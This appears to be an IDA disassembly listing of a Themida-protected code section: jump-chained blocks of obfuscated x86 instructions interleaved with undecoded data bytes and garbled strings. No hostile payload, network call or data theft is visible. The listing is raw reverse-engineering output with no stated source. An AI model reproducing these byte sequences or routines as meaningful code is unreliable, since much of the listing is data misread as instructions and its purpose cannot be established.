		dd 7609A1BFh, 9BF7813Dh, 0C14FAB0Fh, 0E95007E7h, 7EE6h
		dd 440EA4BBh, 0E26DE96Ah, 3C8BFFFFh, 4C48324h, 0E95651h
		dd 0BFFFF9Bh, 0BE840FC9h, 68FFFF57h, 4456h, 8904EC83h
		dd 4832424h, 48F0424h, 4EC8324h, 0BB241C89h, 4,	4245C01h
		dd 5B2434FFh, 0FF04C483h, 348B2434h, 4C48124h, 68000000h
		dd 6141h, 89241489h, 4C281E2h, 81000000h, 4ECh,	24048900h
		dd 11276851h, 815953F9h, 0FD7341F1h, 0D9C18147h, 893EC0D4h
		dd 895159C8h, 4C181E1h,	81000000h, 4E9h, 56A2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567492:				; CODE XREF: Themida_:0055DE1Cj
		add	edx, edi
		pop	edi
		push	4FD2h
		mov	[esp], ebx
		mov	ebx, 422621EDh
		add	ebx, 509425FCh
		sub	ebx, 3704F8B1h
		sub	edx, ebx
		jmp	loc_56D1FD
; ---------------------------------------------------------------------------
aZSxs		db '‡<$\(ØéXS',0
		align 10h
		dd 64FA68h, 240C8900h, 96784B9h, 3E1C148h, 3B4BE956h, 53570000h
		dd 95BCE9h, 241C8900h, 2994E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5674E6:				; CODE XREF: Themida_:0055C51Dj
		xor	ecx, 0A873E927h
		sub	esp, 4
		mov	[esp], ecx
		pop	esi
		pop	ecx
		xor	esi, 1DF37BA7h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56BB77
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0CF90E953h, 0EE81FFFFh, 4, 0E9243487h, 0FFFF7EB2h
; ---------------------------------------------------------------------------


loc_567520:				; CODE XREF: Themida_:00561BDDj
		xor	eax, 350D3CBAh
		push	ecx
		jmp	loc_55E4E0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E2895200h, 0DBFBB53h,	0C3811BB2h, 0E44DF245h
		dd 835BDA01h, 148704EAh, 0EDE95C24h, 0E9FFFFD6h, 0FFFF4ECEh
		dd 5B2414F7h, 0D40EB81h, 0D829E8C9h, 0E1E9815Bh, 0E96F1601h
		dd 0FFFF9F23h, 0C181E901h, 676D6C40h, 5D2434FFh, 5004C483h
		dd 4A641EB8h, 69E94028h, 33000076h, 0F4E92404h,	89FFFFA0h
		dd 0EC832414h, 9431E904h, 0EA810000h, 663C0AE5h, 0BD9BE56h
		dd 0CE810382h, 60394DF7h, 69E9D6F7h, 50FFFF74h,	4B8h, 24440100h
		dd 4DE95804h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5675C3:				; CODE XREF: Themida_:00566111j
		sub	dh, 4Ch
		pop	eax
		shl	dh, 5
		jmp	loc_570501
; ---------------------------------------------------------------------------


loc_5675CF:				; CODE XREF: Themida_:00564357j
		not	eax
		push	esi
		jmp	loc_56E59D
; ---------------------------------------------------------------------------
		db 68h
		dd 34F3h, 68241489h, 1E91h, 24048F54h, 4240481h, 0E9000000h
		dd 335Dh, 3FF1B62Dh, 58C621CFh,	0B728C681h, 0F509DB07h
		dd 0FFC649E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567609:				; CODE XREF: Themida_:00563F0Dj
		sub	edx, edi
		pop	edi
		add	edx, ecx
		add	edx, 18B37327h
		pop	ecx
		sub	edx, edi
		sub	edx, 24704792h
		add	edx, 61415081h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56EA6F
; ---------------------------------------------------------------------------
		dw 0F52Dh
		dd 5E4A0C3Eh, 0FF4DE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567639:				; CODE XREF: Themida_:005698BAj
		add	edi, 4
		jmp	loc_56318B
; ---------------------------------------------------------------------------
		dd 585BDA88h, 148BD188h, 5A545224h, 7D5DE9h
		db 0
; ---------------------------------------------------------------------------


loc_567655:				; CODE XREF: Themida_:0056CB9Cj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56F35D
; ---------------------------------------------------------------------------


loc_567666:				; CODE XREF: Themida_:0055CAA4j
		shr	eax, 3
		jmp	loc_56154E
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 0
		dd 0FFD5FAE9h, 0CABF57FFh, 8126D64Ah, 79330ECFh, 70EF814Dh
		dd 2906A700h, 0EB815FFBh, 97037125h, 15BD901h, 0A198E9E9h
		dd 815BFFFFh, 9B3425C3h, 72E9E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5676AA:				; CODE XREF: Themida_:0056A6E5j
		mov	ebp, ebx
		mov	eax, ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_567C4C
; ---------------------------------------------------------------------------


loc_5676C2:				; CODE XREF: Themida_:005681C3j
		push	esi
		mov	esi, 5FC27C34h
		jmp	loc_56590C
; ---------------------------------------------------------------------------


loc_5676CD:				; CODE XREF: Themida_:00565C83j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56BF1F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 74FF5200h, 148B0424h, 4C48324h, 8B24048Fh, 0FF662424h
		dd 4D24E930h, 0EA08FFFFh, 0FF5DDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567705:				; CODE XREF: Themida_:0055EFF1j
		xor	ax, 0D238h
		add	bp, 64EBh
		sub	bp, ax
		sub	bp, 64EBh
		pop	eax
		xor	ax, bp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56967F
; ---------------------------------------------------------------------------
		dw 0C388h
		dd 0A7E9DD88h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567733:				; CODE XREF: Themida_:0055FE9Fj
		sub	esi, eax
		pop	eax
		jmp	loc_55FBCD
; ---------------------------------------------------------------------------
		db 5Ch
		dd 55243C89h, 0FF6B46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567745:				; CODE XREF: Themida_:00568ABCj
		or	ebx, 29294B9Eh
		xchg	esi, ebx
		dec	esi
		xchg	esi, ebx
		inc	ebx
		xor	ebx, 205622D1h
		sub	ebx, 0ED120FABh
		add	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_56C47A
; ---------------------------------------------------------------------------


loc_567768:				; CODE XREF: Themida_:0055EAFAj
		add	esp, 2
		and	al, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56345F
; ---------------------------------------------------------------------------


loc_567781:				; CODE XREF: Themida_:0055E538j
		neg	ebx
		jmp	loc_55D79E
; ---------------------------------------------------------------------------


loc_567788:				; CODE XREF: Themida_:00570348j
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		add	ebp, 607379BCh
		add	edi, ebp
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	3B08h
		mov	[esp], esi
		add	dword ptr [esp], 126B4866h
		pop	eax
		sub	eax, 126B4866h
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_56F6EE
; ---------------------------------------------------------------------------


loc_5677C0:				; CODE XREF: Themida_:00560E07j
		add	ecx, 4
		jmp	loc_56C069
; ---------------------------------------------------------------------------


loc_5677C8:				; CODE XREF: Themida_:00564A6Ej
		mov	edi, 381B31FBh
		sub	edi, 0FFFFFFFFh
		neg	edi
		xor	edi, 25E0581Ch
		and	edi, 30508h
		push	eax
		mov	eax, 0B6FAB020h
		sub	edi, eax
		pop	eax
		and	esi, edi
		pop	edi
		shr	esi, 6
		add	esi, 46E13C4Eh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		sub	esi, edi
		pop	edi
		sub	esi, 0D03BE952h
		add	edx, esi
		mov	esi, [esp]
		push	edx
		jmp	loc_55CF77
; ---------------------------------------------------------------------------


loc_567815:				; CODE XREF: Themida_:00563932j
		pop	ecx
		pop	edx
		push	ecx
		push	edx
		push	ecx
		jmp	loc_55D369
; ---------------------------------------------------------------------------
		db 52h
		dd 0E7E919B2h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567827:				; CODE XREF: Themida_:0056214Fj
		add	esp, 4
		or	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	0CFC4964h
		pop	ebx
		add	ebx, 59768B7h
		xor	ebx, 64B8C96h
		or	edi, ebx
		jmp	loc_56433E
; ---------------------------------------------------------------------------


loc_567854:				; CODE XREF: Themida_:00568243j
		push	edi
		push	edx
		mov	edx, 282C2359h
		add	edx, 5CDA70CEh
		and	edx, 241C4709h
		xor	edx, 1A4A3E74h
		add	edx, 500A112Dh
		push	ebx
		mov	ebx, 4A860A73h
		jmp	loc_56CBBC
; ---------------------------------------------------------------------------


loc_56787E:				; CODE XREF: Themida_:0056C0BFj
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_55C422
; ---------------------------------------------------------------------------


loc_56788E:				; CODE XREF: Themida_:0055F080j
		add	bl, dl
		jmp	loc_56323A
; ---------------------------------------------------------------------------
		db 89h,	0F8h, 55h
		dd 0E989C589h, 815F585Dh, 184B08E9h, 0A3E95542h, 81000073h
		dd 46536ECFh, 6E7C167h,	0FF84B6E9h, 58C209FFh, 4F45C281h
		dd 51E92EFCh, 1FFFFA0h,	0C7835BDFh, 243C8704h, 93685A5Ch
		dd 8900007Ch, 5DBB241Ch, 3115101Ch, 2434FFDAh, 6B55685Bh
		dd 34890000h, 815E5424h, 4C6h, 2ADAE900h, 83510000h, 1C8904ECh
		dd 7EE95224h, 66FFFF4Eh, 0F766CA87h, 0CA8766D1h, 31F28166h
		dd 0D0016608h, 1636E9h
		db 0
; ---------------------------------------------------------------------------


loc_56791D:				; CODE XREF: Themida_:0056870Bj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 44716373h
		add	ebx, 0BB8E9C91h
		sub	ebp, 64C64975h
		add	ebp, 63173F68h
		add	ebp, 0F073F3Ah
		add	ebp, ebx
		sub	ebp, 0F073F3Ah
		push	ecx
		mov	ecx, 63173F68h
		jmp	loc_56EF13
; ---------------------------------------------------------------------------
		dd 4BFh, 8F12E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567962:				; CODE XREF: Themida_:00565E1Dj
		sub	esi, 0FFFFFFFFh
		push	edx
		push	ecx
		jmp	loc_5680E3
; ---------------------------------------------------------------------------
		dd 0F331DE31h, 11E9DEF7h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567977:				; CODE XREF: Themida_:005669A2j
		pop	eax
		add	esp, 4
		push	3E43h
		mov	[esp], edi
		jmp	loc_571254
; ---------------------------------------------------------------------------
		db 66h
		dd 55240C8Bh, 7C8668h, 24148900h, 0FFE7ACE9h, 0F6E786FFh
		dd 80E786D4h, 0F780C2F7h, 1312E958h, 815A0000h,	0E1E50EC6h
		dd 0ACEB818Bh, 1703801h, 0ACC381F3h, 5E703801h,	360ABB53h
		dd 0F3815E2Eh, 76F75C71h, 56FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5679D5:				; CODE XREF: Themida_:00561A03j
		and	eax, ebx
		jmp	loc_55FE91
; ---------------------------------------------------------------------------
		dd 35D168h, 24048900h, 2B8h, 0CAE2E900h, 0F768FFFFh, 89000020h
		dd 74FF240Ch, 0C8B0424h, 4C48324h, 7B92E9h, 24248900h
		dd 4EC81h, 0C890000h, 4B924h, 5EE90000h, 4E000008h, 0B39DE946h
		dd 1DB6FFFFh, 85BB050h,	90A0E9C6h, 3431FFFFh, 24343324h
		dd 0FF24248Bh, 48B2434h, 4C48324h, 572C68h, 6A80E900h
		dd 0C8BFFFFh, 4C48124h,	8F000000h, 248B2404h, 0E2895224h
		dd 4C281h, 0C2830000h, 24148704h, 5224248Bh, 4BAh, 5FB95100h
		dd 163A047h, 0D50159CDh, 5A49E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567A82:				; CODE XREF: Themida_:00566B2Cj
		not	edi
		and	edi, 35734539h
		neg	edi
		xor	edi, 0CACDFAE4h
		add	ecx, edi
		jmp	loc_55D399
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0F67E9h
		db 0
; ---------------------------------------------------------------------------


loc_567AA1:				; CODE XREF: Themida_:00567C47j
		mov	bh, ah
		mov	cl, bh
		pop	ebx
		mov	dl, cl
		pop	ecx
		jmp	loc_5641A7
; ---------------------------------------------------------------------------
		dw 575Bh
		dd 0B951E789h, 4, 0FFA67BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567ABD:				; CODE XREF: Themida_:00566103j
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 18h
		xor	eax, ecx
		push	586Eh
		mov	[esp], eax
		jmp	loc_565A7A
; ---------------------------------------------------------------------------
		dd 0C7814F5Eh, 65A33980h, 3C8DEF81h, 0FE31E1A5h, 38C1E9h
		dd 5A89BB00h, 0EBC17C57h, 6BE94308h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567AFB:				; CODE XREF: Themida_:0056BA05j
		mov	eax, [esp]
		add	esp, 4
		mov	dl, bl
		pop	ebx
		jmp	loc_5663D6
; ---------------------------------------------------------------------------
		dd 0E57AE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B12:				; CODE XREF: Themida_:0056FD00j
		sub	dword ptr [esp+4], 73736D17h
		sub	dword ptr [esp+4], 6B1873DBh
		pop	edx
		push	edi
		jmp	loc_56D3A4
; ---------------------------------------------------------------------------


loc_567B29:				; CODE XREF: Themida_:0057030Aj
		push	eax
		mov	eax, 41C3381Bh
		jmp	loc_566EB1
; ---------------------------------------------------------------------------
		dd 8B240C87h, 1EE92424h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567B3F:				; CODE XREF: Themida_:00569088j
		xor	ebx, esi
		jmp	loc_56DC03
; ---------------------------------------------------------------------------


loc_567B46:				; CODE XREF: Themida_:0055C71Aj
		pop	eax
		xor	ecx, 44664108h
		push	ebp
		mov	ebp, 1D1066A4h
		not	ebp
		or	ebp, 69921ECEh
		push	ebx
		jmp	loc_561521
; ---------------------------------------------------------------------------


loc_567B61:				; CODE XREF: Themida_:0056E809j
		pop	edx
		sub	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_55F824
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 2
		dd 2474FF52h, 8109E904h, 0C2810000h, 1AC33896h,	4DE9CA29h
		dd 0ACFFFF50h, 50F2E9h,	0A7E95300h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567BB7:				; CODE XREF: Themida_:00565199j
		add	ecx, 7D6369C0h
		sub	ebx, ecx
		jmp	loc_55CD24
; ---------------------------------------------------------------------------
		dd 34FFD800h, 89575B24h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 0FF765BE9h, 0EC8153FFh, 4, 7266E9h, 0E9586600h, 8144h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF481Eh
; ---------------------------------------------------------------------------


loc_567C04:				; CODE XREF: Themida_:00561356j
		add	edx, 1BDF0554h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_562BA0
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 7BE9240Ch
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567C3B:				; CODE XREF: Themida_:005712C5j
		mov	[esp], eax
		mov	ah, cl
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_567AA1
; ---------------------------------------------------------------------------


loc_567C4C:				; CODE XREF: Themida_:005676BDj
		add	ebp, 4
		jmp	loc_56D5DF
; ---------------------------------------------------------------------------


loc_567C57:				; CODE XREF: Themida_:0055FA44j
		pop	esp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_568000
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2810000h, 4, 0E9241487h, 643h
; ---------------------------------------------------------------------------


loc_567C7C:				; CODE XREF: Themida_:0055D2C4j
		pop	esp
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		push	138Ch
		mov	[esp], ebp
		jmp	loc_55E11B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4116658h,	7FE99C24h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567CA3:				; CODE XREF: Themida_:00560B99j
		xor	eax, [esp]
		jmp	loc_570B09
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5E042474h, 5C24048Fh, 9C2404D3h, 0FF4765E9h,	81D929FFh
		dd 0C073C4E9h, 0CB015B29h, 56240C8Bh, 4CE9E689h, 0D1FFFFABh
		dd 4BC381EBh, 29FAB06Fh, 0E0C15BD8h, 24133506h,	3F05541Fh
		dd 837DD0CFh, 1C8904ECh, 7906BB24h, 0D8012806h,	0FFEA09E9h
		dd 240483FFh, 2434FF04h, 4C4835Eh, 8904EC83h, 4BD242Ch
		dd 81000000h, 0E41FFBEEh, 81EE0136h, 0E41FFBC6h, 56575D36h
		dd 2C5B92BEh, 0E9F7891Fh, 2103h, 0C781E789h, 4,	4EF81h
		dd 3C870000h, 3C895C24h, 34FF5124h, 2434FF24h, 80A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_567D51:				; CODE XREF: Themida_:0056B833j
		add	eax, 0BA467200h
		sub	esi, 73A8204Ch
		add	esi, eax
		add	esi, 73A8204Ch
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55CEE0
; ---------------------------------------------------------------------------
		dd 0D324248Bh, 0E99C240Ch, 0FFFF46A2h
; ---------------------------------------------------------------------------


loc_567D80:				; CODE XREF: Themida_:0056EF46j
		mov	[esp], eax
		mov	eax, 219D0F17h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 4DB50F82h
		add	esi, eax
		add	esi, 4DB50F82h
		push	48A4h
		jmp	loc_56708D
; ---------------------------------------------------------------------------
		db 0BFh
		dd 179F23ADh, 815FFB21h, 8AB211EBh, 8BD989EDh, 69E9241Ch
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567DC3:				; CODE XREF: Themida_:0056E346j
		push	ecx
		mov	ecx, 52E220FAh
		shl	ecx, 4
		shl	ecx, 1
		push	0EAFh
		mov	[esp], esi
		mov	esi, 7A9910B0h
		xor	ecx, esi
		pop	esi
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebp, 0FFFFFFFFh
		push	edi
		jmp	loc_55F30F
; ---------------------------------------------------------------------------


loc_567DF2:				; CODE XREF: Themida_:005628FBj
		sub	esp, 4
		jmp	loc_569753
; ---------------------------------------------------------------------------


loc_567DFA:				; CODE XREF: Themida_:00565615j
		mov	ebx, [esp]
		jmp	loc_56DE8C
; ---------------------------------------------------------------------------
		dw 1BE9h
		dd 89FFFF46h, 0E7E9241Ch
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567E0F:				; CODE XREF: Themida_:0055FA67j
		sub	edi, 0D4D72E5h
		xor	edx, edi
		pop	edi
		jmp	loc_56088C
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0D6h
		dd 4154D11Ch, 2F99E981h, 0E9817FE3h, 87F475EEh,	0B614F905h
		dd 12B9515Dh, 17A5D74h,	0C80159C8h, 5D74122Dh, 14F92D7Ah
		dd 0E9595DB6h, 0FFFF99F9h
; ---------------------------------------------------------------------------


loc_567E50:				; CODE XREF: Themida_:0056677Bj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_564192
; ---------------------------------------------------------------------------


loc_567E5E:				; CODE XREF: Themida_:0056586Fj
		pop	ecx
		xchg	esi, ecx
		push	esi
		jmp	loc_55E3BC
; ---------------------------------------------------------------------------
		dd offset dword_49005C+0FF0Ch
		align 4
		dd 24048F54h, 33DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_567E75:				; CODE XREF: Themida_:00570903j
		sub	esp, 4
		jmp	loc_55D2F2
; ---------------------------------------------------------------------------


loc_567E80:				; CODE XREF: Themida_:005711EBj
		pop	edx
		push	0C7Dh
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 26254C80h
		dec	edx
		not	edx
		xor	edx, 504A476Ah
		jmp	loc_56D87B
; ---------------------------------------------------------------------------
		db 57h
		dd 0F1652C68h, 0E614E96Ch, 0C8BFFFFh, 4C48324h,	8FC0B60Fh
		dd 5FE98704h, 51FFFF45h, 8C6749B9h, 6E81BB70h, 0F38107A6h
		dd 88D5F636h, 32F8EB81h, 0EB816923h, 198E3EC5h,	0C381CB01h
		dd 198E3EC5h, 0FFC322E9h, 89D889FFh, 24048BC7h,	0E904C483h
		dd 0FFFFEBD7h, 2CCAC680h, 94EDE9A2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567F06:				; CODE XREF: Themida_:005643DDj
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, eax
		jmp	loc_5699A5
; ---------------------------------------------------------------------------
		db 55h,	0FFh, 74h
		dd 8F5D0424h, 8B5C2404h, 54532404h, 0E704E95Bh,	0EDC1FFFFh
		dd 0C6E58102h, 0E9683E07h, 0FFFF4E06h, 0E9FB895Dh, 3C77h
		dd 1F1DEB81h, 9CE90F04h, 1FFFFC1h, 30B1E9CBh, 0C1010000h
		dd 240C3358h, 0E9240C31h, 0FFFFBC54h
; ---------------------------------------------------------------------------


loc_567F64:				; CODE XREF: Themida_:005608C2j
		push	3E37h
		jmp	loc_56BACE
; ---------------------------------------------------------------------------
		dw 0E8D1h
		dd 6D643D05h, 7EC38102h, 0E933B50Ch, 0FFFF44BEh, 95EF029h
		dd 0EA8158C2h, 4E9F609Ch, 0BFE9D731h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567F93:				; CODE XREF: Themida_:00561655j
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5699F9
; ---------------------------------------------------------------------------


loc_567FA4:				; CODE XREF: Themida_:0055E0B3j
		xor	ebx, edx
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_566EC7
; ---------------------------------------------------------------------------


loc_567FB4:				; CODE XREF: Themida_:005667B4j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		jmp	loc_55E532
; ---------------------------------------------------------------------------


loc_567FC3:				; CODE XREF: Themida_:00566B6Aj
		mov	esi, 1F1972FEh
		xor	esi, 2147F91h
		jmp	loc_564828
; ---------------------------------------------------------------------------


loc_567FD3:				; CODE XREF: Themida_:0056B65Aj
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 79D3303Dh
		or	ecx, 373160B1h
		jmp	loc_56BDA4
; ---------------------------------------------------------------------------
		db 0ADh, 68h, 0C2h
		dd 89000015h, 54BF243Ch, 0E93D365Ch, 1AC1h
; ---------------------------------------------------------------------------


loc_568000:				; CODE XREF: Themida_:00567C61j
		mov	[esp], ecx
		push	79A6h
		mov	[esp], edx
		mov	edx, 35572F7Fh
		jmp	loc_568A6F
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 6Ah
		dd 2D3FD745h, 3A6E4B61h, 6105C801h, 8B3A6E4Bh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55FA3B
; ---------------------------------------------------------------------------
		dd 240C8B66h, 51D0E9h, 2C48300h, 53665666h, 35A5BB66h
		dd 245C0166h, 665B6602h, 0EA81665Ah, 0FBE935A5h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56805F:				; CODE XREF: Themida_:00565F3Bj
		sub	esi, 4DA433A9h
		push	eax
		mov	eax, 42869C31h
		add	esi, 5E360CD1h
		jmp	loc_5697B5
; ---------------------------------------------------------------------------
		dw 0F5BDh
		dd 0B8167A3Fh, 40023355h, 721568h, 5EBE900h, 0F3810000h
		dd 1FC70CBh, 0FFC967E9h, 68FFh,	34290000h, 0F6815E24h
		dd 58BB1E1Eh, 4A19F681h, 0EE815924h, 996B2B3Dh,	664FE9h
		dd 0A0ED8100h, 89F7637Bh, 1139E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5680C2:				; CODE XREF: Themida_:0056132Ej
		shl	ecx, 5
		xor	ecx, 8B0651C2h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_562238
; ---------------------------------------------------------------------------


loc_5680E3:				; CODE XREF: Themida_:00567967j
		push	155B24EFh
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 0
		sub	eax, ecx
		mov	ecx, eax
		jmp	loc_56CD1B
; ---------------------------------------------------------------------------


loc_56810D:				; CODE XREF: Themida_:0056D7D8j
		sub	ecx, 75F87369h
		add	ecx, edx
		add	ecx, 75F87369h
		pop	edx
		push	eax
		push	esi
		mov	esi, 574B6C0Dh
		mov	eax, 8174C0C2h
		sub	eax, esi
		pop	esi
		or	eax, 0D29598Fh
		dec	eax
		neg	eax
		jmp	loc_5693AB
; ---------------------------------------------------------------------------


loc_568138:				; CODE XREF: Themida_:00563D07j
		and	esi, 2BA11C19h
		sub	esi, 880180Ch
		sub	eax, 7E021E51h
		sub	eax, esi
		add	eax, 7E021E51h
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5711F0
; ---------------------------------------------------------------------------
		db 0B6h
		dd 668504DBh, 4DAB652h,	50E5E9BAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56816E:				; CODE XREF: Themida_:005697B7j
		push	ebx
		mov	ebx, 5E360CD1h
		jmp	loc_55EBA5
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 61CDh
; ---------------------------------------------------------------------------


loc_568184:				; CODE XREF: Themida_:00569E94j
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_566F20
; ---------------------------------------------------------------------------
		db 66h,	52h, 0F6h
		dd 66012454h, 6F7CE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5681A2:				; CODE XREF: Themida_:0056D4BDj
		push	209Ah
		mov	[esp], esi
		jmp	loc_566C07
; ---------------------------------------------------------------------------
aBs1DbYzS2	db 'á',0Bh,'1{DÁÕYz%é 2',0
		align 10h


loc_5681C0:				; CODE XREF: Themida_:00566EC2j
		mov	[esp], ebx
		jmp	loc_5676C2
; ---------------------------------------------------------------------------


loc_5681C8:				; CODE XREF: Themida_:0056DB1Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, 68EF15BCh
		sub	[esp+8], eax
		jmp	loc_56C4F0
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0D32BB53h, 4FE9A547h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5681F3:				; CODE XREF: Themida_:00570A00j
		push	esi
		sub	esp, 4
		mov	[esp], esp
		push	6E7Ch
		jmp	loc_55D41F
; ---------------------------------------------------------------------------
		dd 53F8E951h, 0D5F7FFFFh, 0A6AC581h, 0EA011DCDh, 0D7ADE95Dh
		dd 1489FFFFh, 518A6824h, 0CBE90000h, 80FFFFC7h,	0C6809BCEh
		dd 5AF50058h, 0F699ED80h, 6462E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56823A:				; CODE XREF: Themida_:0056BA6Cj
		push	ebp
		mov	ebp, 3FCC2069h
		mov	eax, ebp
		pop	ebp
		jmp	loc_567854
; ---------------------------------------------------------------------------
		dd 582434FFh, 0FF7C37E9h, 243C8BFFh, 6F3CE955h,	0E95E0000h
		dd 0FFFFA224h
; ---------------------------------------------------------------------------


loc_568260:				; CODE XREF: Themida_:0055D0A7j
		mov	ecx, 0ECF1C7Ah
		add	ecx, 7CF136E2h
		jmp	loc_563E68
; ---------------------------------------------------------------------------
		dd 535FFD01h, 0FF95FEE9h, 244481FFh, 4C62CE04h,	244C011Eh
		dd 246C8104h, 4C62CE04h, 0A714E91Eh, 0C531FFFFh, 0D5F7E831h
		dd 0E9C13195h, 0FFFF75F1h, 4C4815Ah, 0E9000000h, 0FFFFA95Ah
		dd 8B685E5Fh, 89000000h, 74FF241Ch, 37E90424h, 5CFFFFDDh
		dd 4EC81h, 34890000h, 0F9DDE924h, 5259FFFFh, 0E510DDBAh
		dd 0A9E99222h, 81000051h, 47B81CEh, 81DEF759h, 717EDEEEh
		dd 0E9F22935h, 598Bh
; ---------------------------------------------------------------------------


loc_5682F0:				; CODE XREF: Themida_:0056C513j
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_570F44
; ---------------------------------------------------------------------------
		db 89h
